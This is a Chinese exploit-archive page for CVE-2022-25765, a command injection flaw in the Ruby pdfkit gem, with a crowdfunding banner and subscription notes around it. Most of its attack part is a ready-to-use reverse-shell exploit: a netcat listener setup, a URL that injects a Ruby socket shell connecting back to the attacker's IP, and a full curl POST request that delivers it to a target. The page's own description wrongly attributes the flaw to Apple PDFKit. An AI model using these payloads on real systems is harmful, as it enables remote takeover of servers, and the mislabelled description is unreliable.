目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-25765 PoC — Apple PDFKit 安全漏洞

来源
关联漏洞
标题: Apple PDFKit 安全漏洞 (CVE-2022-25765)
Description:Apple PDFKit是美国苹果(Apple)公司的其中的一个PDF文档生成组件。 Apple PDFKit 存在安全漏洞,攻击者可利用该漏洞执行非法命令。
Description
pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765
介绍
# CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
pdfkit &lt;0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765

Pre-reqs:
1. Setup HTTP Server - <i>python3 -m http.server</i>
2. Setup Netcat Listener - <i>nc -lvnp 4444</i>

Reverse Ruby Shell via webpage:
<i>http://LOCAL-IP:LOCAL-HTTP-PORT/?name=%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("LOCAL-IP",LOCAL-LISTEN-PORT))')</i>


Via CURL (modify <b>bold</b> values):
<i>curl '<b>TARGET-URL</b>' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: <b>TARGET_URL</b>' -H 'Connection: keep-alive' -H 'Referer: <b>TARGET_URL</b>' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F<b>LOCAL-IP</b>%3A<b>LOCAL-HTTP-PORT</b>%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22<b>LOCAL-IP</b>%22%2C<b>LOCAL-LISTEN-PORT</b>%29%29%27%60'</i>
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →